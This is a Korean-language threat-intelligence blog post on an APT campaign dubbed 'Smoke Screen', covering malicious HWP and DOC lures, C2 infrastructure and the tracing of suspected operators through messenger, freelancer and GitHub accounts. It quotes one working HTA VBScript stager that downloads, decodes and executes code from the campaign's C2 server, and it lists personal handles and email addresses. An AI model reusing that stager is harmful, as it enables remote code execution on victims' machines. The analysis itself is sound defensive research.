ESRC에서는 한국의 대북관련 분야에 종사하는 인물을 대상으로 4월 11일 기준 스피어 피싱(Spear Phishing) 공격이 수행된 것을 발견했습니다.
이는 지난 04월 03일 【최근 한반도 관련 주요국 동향】, 【3.17 미국의 편타곤 비밀 국가안보회의】 내용으로 전파된 '스텔스 파워(Operation Stealth Power)' 작전의 APT 공격 연장 활동으로 드러났으며, 2014년 한국수력원자력(한수원) 해킹 공격 배후와 동일 조직으로 밝혀졌습니다.
[English Version]
Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US
지난 3월 말부터 4월 초까지 한국에서 발견된 악성 HWP 문서파일들은 모두 동일한 취약점 공격 기법이 활용되었으며, 문서파일을 작성한 계정명도 'Tom'으로 일치하고 있습니다.
[그림 1-2] HWP 악성 문서 파일 메타데이터 화면
■ 위장전술과 연막작전의 귀재, '캠페인 스모크 스크린' 배경
'TaskForceReport.doc' 악성 파일은 해외에서 먼저 보고 되었지만, 문서 자체는 한국어 기반으로 제작 되었으며, 유사한 변종 형태가 다수 존재합니다.
악성 파일 제작자는 'windowsmb', 'JamFedura', 'Aji', 'DefaultAcount', 'yeri', 'Roberts Brad' 등의 독특한 윈도우즈 계정 등을 사용하였고, 비트코인 등을 거래하거나 사행성 도박게임, 암호화폐 관련 프로그램 개발에 참여하고 있는 것도 확인되었습니다.
일부 계정의 경우 한국의 카카오 톡(Kakao Talk)에도 등록되어 있으며, 텔레그램(Telegram), 스카이프(Skype) 등의 메신저 서비스를 이용하고 있습니다.
ESRC에서는 종합적 판단을 통해 이번 APT 공격 배후에 '특정 정부의 후원을 받는 조직(state-sponsored actor)'이 있다고 믿고 있으며, 이들이 한국어, 영어 등을 자유자재로 구사하며, 외국인 가짜 프로필 사진으로 변장해 은밀히 활동하는 점을 착안해 '캠페인 스모크 스크린(Campaign Smoke Screen)'으로 명명했습니다.
2014년 한수원 해킹 배후로 분류된 해당 위협조직이 한국과 미국 등의 APT 공격에도 가담하며, 한국에서는 HWP 문서파일 취약점을 이용하고, 해외에서는 DOC 문서파일 취약점을 활용해 맞춤형 표적공격을 수행하는 것이 드러났습니다.
■ DOC기반 APT 공격 전략 전술 및 위협 벡터 분석
2019년 04월 01일 제작된 'TaskForceReport.doc' (MD5 : d400adcd06e0a07549e2465c9c500c45) 악성 문서파일은 아래 주소를 통해 유포되었습니다.
이때 사용된 C2 도메인은 christinadudley[.]com 사이트가 사용되었습니다.
'Qfnaq0.hta' 파일은 다음과 같은 스크립트 코드를 포함하고 있으며, 디코딩 키와 루틴을 통해 'expres.php?op=1' 코드를 로딩하게 됩니다.
<html><script language="VBScript">On Error Resume Next:Function Co00(c):L=Len(c):s="":For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d):Co00=s:End Function:Set Post0 = CreateObject("MSXML2.ServerXMLHTTP.6.0"):Post0.open "GET", "https://christinadudley[.]com/public_html/includes/common/expres.php?op=1", False:Post0.Send:t0=Post0.responseText:d=7:t0=Co00(t0):Execute(t0):window.close()</script></html>
당시 최종적으로 유포된 'exe.gif' 파일은 BASE64 코드로 인코딩되어 있는 상태이며, 디코딩을 거치면, 32비트 EXE 형식의 악성코드로 변환됩니다.
[그림 4] BASE64 코드로 인코딩된 파일이 올려진 화면
디코딩된 EXE 파일은 EGIS Co, Ltd, 디지털 서명이 포함되어 있는데, 이 서명은 과거 한국의 여려 침해사고에서 악용된 바 있습니다.
[그림 5] EGIS Co., Ltd. 디지털 서명 화면
DOC 공격벡터에 사용된 HTA 스크립트를 살펴보면 보면 지난 3월 31일과 4월 1일 한국에서 발생했던 HWP 악성 문서 기반의 '스텔스 파워(Operation Stealth Power)' 위협 사례와 이번 '스모크 스크린(Campaign Smoke Screen)' 스크립트 형식이 유사하다는 것을 알 수 있습니다.
그리고 HWP 악성 문서로 설치된 파워쉘 기반 키로깅 기능의 함수(function Start-KeyLogger)도 DOC 악성문서 시리즈와 동일하게 사용되었습니다.
위협 조직이 한국 대상 APT공격에서는 HWP 문서 취약점을 사용하고, 해외를 대상으로 삼을 때는 악성 DOC 문서를 활용한 특징이 존재합니다.
[그림 6] 한국과 해외에서 발견된 악성 스크립트 비교 화면
특히, C2 서버와 통신할 때 사용되는 'expres.php?op=1', 'cow.php?op=1" 파일명과 파라미터 뿐만 아니라, 파워쉘이 사용하는 함수 스타일도 매우 유사한 것을 알 수 있습니다.
또한, 정보 유출에 사용된 'upload.php' 파일명이 오버랩되며, HWP 취약점이 사용된 C2서버는 한국, DOC 취약점이 쓰인 C2는 중간에 'kr' 하위주소가 포함되어 있습니다.
탈로스 팀은 'NavRAT' 유형을 'Group123'(aka Geumseong121, RedEyes) 조직 연계 가능성을 조심스럽게 의심한 바 있는데, ESRC는 해당 시리즈가 2014년 당시 한수원 공격에 사용된 HWP 취약점 쉘코드와 정확히 일치한다는 것을 검증했습니다.
더불어 스모크 스크린 공격거점으로 활용된 특정 아이피 대역과 전형적인 교란전술 등이 최근 오퍼레이션들과 오버랩되고 있다는 점을 근거로 면밀한 조사를 수행하고 있습니다.
다양한 자체 분석 데이터와 분류 기준에 따라 스모크 스크린 APT 캠페인의 배후에 '금성121(Geumseong121)' 조직 보다 한수원을 위협했던 조직이 연계된 것으로 믿고 있습니다.
다만, 두 조직간의 침해지표에 공통 고리가 존재했던 사례가 몇 차례 발견된 바 있어 상호 협력하거나 조직개편, 인력 체계 이동 가능성도 배제할 수는 없습니다.
ESRC는 스모크 스크린 배후를 조사하는 과정에서 'NavRAT' 시리즈로 명명된 악성파일 변종 중에 'jamshine1993@hotmail.com' 이메일 계정으로 통신을 시도한 사례를 발견했습니다.
통신에 사용된 아이디는 'tiger199392' 이며, 구글 업데이트 프로그램처럼 위장되어 있고, 'Jamshine1993@hotmail.com' 주소로 감염자 정보를 전송하게 됩니다.
[그림 13] 'jamshine1993@hotmail.com' 이메일과 통신하는 NavRAT 시리즈
이번 'NavRAT' 유형의 악성파일은 2016년 보고된 바 있는 이른바 '김수키(Kimsuky)' 시리즈의 HWP 취약점 코드(MD5 : c94e5da189bf166fc4a2670685a796a3)와 일부 유사한 계정(hni)이 포함된 것도 발견됐습니다.
[그림 14] NavRAT (상) 시리즈와 김수키 시리즈 HWP (하) 코드 비교화면
유사한 계정은 텔레그램에서도 발견이 되는데, 여기서 사용된 대표 프로필 사진은 2007년 영화 '로켓 사이언스(Rockert Science)'의 주연배우 '리스 톰슨(Reece Thompson)' 영화 장면을 무단 도용했습니다.
[그림 15] 영화 로켓 사이언스 주연배우 사진을 텔레그램 프로필로 도용
공격자가 이 영화를 알고 도용한 것인지, 무작위로 선정한 이미지인지는 아직 확실하진 않으며, 영화 중에 한국인 판사 내용이 일부 포함되어 있다고 알려져 있습니다.
트위터의 프로필 사진 역시 특정 헤어 모델 사이트에 올려져 있던 사진을 무단 도용해서 사용한 것이 확인되었습니다.
[그림 16] 핫헤어스타일 사이트에 올려져 있는 모델 사진 화면
ESRC에서는 텔레그램으로 사용된 'jamfedura0293' 계정이 한글로 운영되는 필리핀 비트코인 거래사이트 '비트 마닐라'에 2019년 01월 04일 가입한 것을 발견했고, 해당 거래 사이트에서는 한글명 '코인짱1985' 이름으로 활동하고 있습니다.
참고로 '비트 마닐라' 사이트는 '필고' 사이트와 공용으로 운영되고 있어 동일한 아이디가 사용됩니다.
[그림 17] 필리핀 비트코인 거래 사이트에서 활동하는 모습
'코인짱1985' 계정은 여러 사람들의 글에 텔레그램으로 연락을 유도하는 댓글을 등록해 은밀하게 거래를 진행하고 있습니다. 특히, 작년 12월 23일 올려진 1500 비트코인 판매관련 글에 2019년 01월 04일 23시 58분에 댓글을 올리기도 했습니다. 1500 비트코인이면 당시 시세로도 엄청나게 큰 금액이라는 것을 알 수 있습니다.
[그림 18] 필리핀 비트코인 거래 사이트 활동 모습
ESRC는 텔레그램과 동일한 프로필 사진을 사용하는 여러 계정들을 발견할 수 있었습니다. 흥미롭게도 악성코드가 사용했던 'tiger1993' 계정이 카카오톡에 'coinchange' 이름으로 등록된 것을 확인했습니다. 그런데 이 계정의 프로필 사진이 텔레그램 '@jamfedura0293' 이미지와 정확히 일치했습니다.
[그림 19] 카카오톡에 등록된 'tiger1993' 계정
서로 다른 사람이 한국의 카카오톡 메신저와 텔레그램에 동일한 프로필 사진으로 활동한다는 것은 우연의 일치라고 보기에는 현실적으로 어려워 보입니다. 그리고 이와 동일한 프로필 사진이 프로그램 개발자를 연결해 주는 '프리랜서' 사이트에서도 발견이 되었습니다.
[그림 20] 동일한 사진으로 프리랜서 사이트에 등록된 'aji9170' 화면
프리랜서 사이트에 등록된 'aji9170' 계정은 한국으로 등록되어 있고, 기존 사례와 동일하게 암호화폐 개발자 정보로 등록되어 있습니다. 'aji9170' 계정으로 등록된 사용자는 영어 및 한글로 다양한 프로젝트 참여글을 등록하였고, 국적을 한국으로 표기해 두었습니다.
I put a lot of coins on the bustabit game.erc20, shekel, xgox, ethereum,I can show you my demo.I want to discuss with you in detail.thank you. https://www.freelancer.co.kr/projects/php/javascript-expert-who-can-integrate/ Hello.i have read your project carefully.i can finish your project on time and pefect.Let's discuss more detail on chat.Thanks https://www.freelancer.co.kr/projects/c-programming/hidden-vnc-with-back-connection/ Hello.I have module what you want.i wanna discuss about your detail requirement.i have an exerienece about Virus and malware.Thanks https://www.freelancer.co.kr/projects/python/telagram-bitmex-bot/ I have already made many bots.I can show you.I can fulfill your request smoothly.I want to discuss with you in detail.Thank you. https://www.freelancer.co.kr/projects/php/perfect-money-payment-gateway-18523359/ HelloI have already made it.I can do it.Let's discuss on chatting in detail.Thank you.######################################################################## https://www.freelancer.co.kr/projects/c-programming/need-expert-18408762/ HelloI master in c++,I can do it.Let's discuss on chatting.Thank you.############################################### https://www.freelancer.co.kr/projects/linux/finish-linux-project-18498297/ Hello sirI can do it for 1day.Let's discuss on chatting.Thank you.########################################## https://www.freelancer.co.kr/projects/software-architecture/lock-bitings/ Hello.i can do your project successfully on time.i am very interesting in your project.Let's discuss more detail on chat.Thanks. https://www.freelancer.co.kr/projects/java/expert-coding/ I am a cryptographer.I can fulfill your request well.I want to discuss with you in detail.thank you.################################################################# https://www.freelancer.co.kr/projects/software-architecture/online-game-18406869/ Hello,I managed an online server.I can protect your server from DoS attacks.I want to discuss with you in detail,Thank. https://www.freelancer.co.kr/projects/software-architecture/lock-bitings/ Hello.i can do your project successfully on time.i am very interesting in your project.Let's discuss more detail on chat.Thanks. https://www.freelancer.co.kr/projects/php/install-bitcoin-ethereum-full-node/ Hello,I can do it perfectly.Let's discuss on chatting.Thank you.
##################################
[그림 21] 'aji9170' 계정으로 프로젝트 개발 요청글을 올린 화면
ESRC에서는 공격자가 사용하는 고유한 특성과 키워드를 기반으로 추적하던 중 이와 유사한 형태로 프리랜서 글을 올리는 계정을 발견했습니다.
[그림 22] 'aji199293' 계정으로 활동하는 프리랜서
'aji199293' 계정으로 등록된 이 사용자는 2019년 01월 15일에 가입되었으며, 국가는 미국으로 등록되어 있습니다. 그리고 프로필 및 자기소개에는 암호화폐 개발 경력과 스킬을 포함하고 있습니다. 흥미로운 점은 이 사람이 한국어로 글을 올리고 있었다는 점이며, 스카이프 계정으로 'live:rjh917'을 사용하고 있다는 것입니다.
[그림 23] 'aji199293' 아이디로 올려진 화면
이 계정에서 등록된 글들을 살펴보면 기존 'aji9170'과 매우 유사하다는 것을 알 수 있습니다.
https://www.freelancer.co.kr/projects/php/send-whatsapp-message/ HelloI made many bots.I can do it with c++.Let's discuss on chatting.Thank you.
######################################### https://www.freelancer.co.kr/projects/php/crypto-trading-bot-tradingview-scrip/ Hello.I have already created an automated bot that uses binance's api.I can show it to you.I want to discuss with you in detail.Thank you. https://www.freelancer.co.kr/projects/php/cryptocurrency-website-18560239/ HelloI have done it.I can show you my demo.Let's discuss on chatting.Thank you.########################################################################################### https://www.freelancer.co.kr/projects/php/blockchain-dice-game/ Hello.i have developed such like this gamei am very interesting in your projectPlease send me a message so that we can discuss moreThanks https://www.freelancer.co.kr/projects/php/fhg-please-read-request-before/ Hello.I have already developed all the 11 things you need.I will show you all my demos.I want to discuss with you in detail.Thank you. https://www.freelancer.co.kr/projects/php/proxy-creator-18562916/ HelloI have proxies.I have developed them.So Which site do you want?Proxies does not work all site.Let's discuss on chatting in detail.Thank you. https://www.freelancer.co.kr/projects/graphic-design/email-marketing-landing-page-development/ HelloI have experience in email marketing.I built many email sender servers.I can fulfill your demands.I want to discuss with you in detail.
Thank you.
[그림 24] 'aji9170', 'aji199293' 비교 화면
'aji199293' 계정은 국적이 미국으로 등록되어 있지만, 초기에는 다른 아이디로 활동하며, 국적은 한국으로 설정된 경우도 확인되었습니다. 그리고 사행성 온라인 게임 개발에 한글로 참여한 모습도 포착되었고, PDF Exploit 외주제작에 개발이 가능하다는 글을 등록하기도 했습니다. 악성 파일 제작까지도 참여한 증거가 포착된 것입니다.
[그림 25] 사행성 온라인 게임 개발 및 악성코드 개발에 참여하는 모습
그리고 한국어 국적으로 등록됐던 'Migel M' 계정은 프로필 사진은 'aji199293'이랑 동일하고, 국적이 미국에서 한국으로 다르게 설정되어 있습니다. ESRC에서는 해당 계정이 서로 다른 것인지 비교해 본 결과, 동일한 사용자가 초기에 'Migel M'으로 사용하다가 나중에 국적과 아이디를 모두 변경한 것으로 확인하였습니다. 프리랜서 사이트에 암호화폐, 온라인 게임 개발자 등으로 활동하는 사용자들이 악성 프로그램 개발 대행에도 참여하고 있다는 점은 나름 의미하는 바가 있습니다.
'rjh917@hotmail.com' 계정을 쓰는 사용자를 추적해 보면 더욱 더 자세한 내용을 발견할 수 있게 됩니다.
GitHub 사이트 등에 동일한 아이디를 사용하는 'devAji917' 계정이 나타나게 되며, 이 계정은 2018년 4월경에 등록되었습니다.
결국, 'aji199293' 아이디를 사용하는 사람이 스카이프로 'rjh917' 아이디를 사용하고, 다시 이 계정이 'devAji917'로 이어지는 것을 확인할 수 있습니다. 그리고 'aji9170' 사용자 계정과도 거의 유사하게 사용되고 있다는 점에서 동일한 사용자로 보여집니다.
ESRC는 공격자를 추적하던 과정 중에 tiger199392 계정이 사용하는 'om197019621993@hotmail.com' 이메일 계정을 확인할 수 있었고, 프리랜서 사이트에서 프로젝트 개발 결제서비스로 많이 사용하는 페이팔에도 동일한 계정으로 가입된 것을 볼 수 있었습니다.
댓글 영역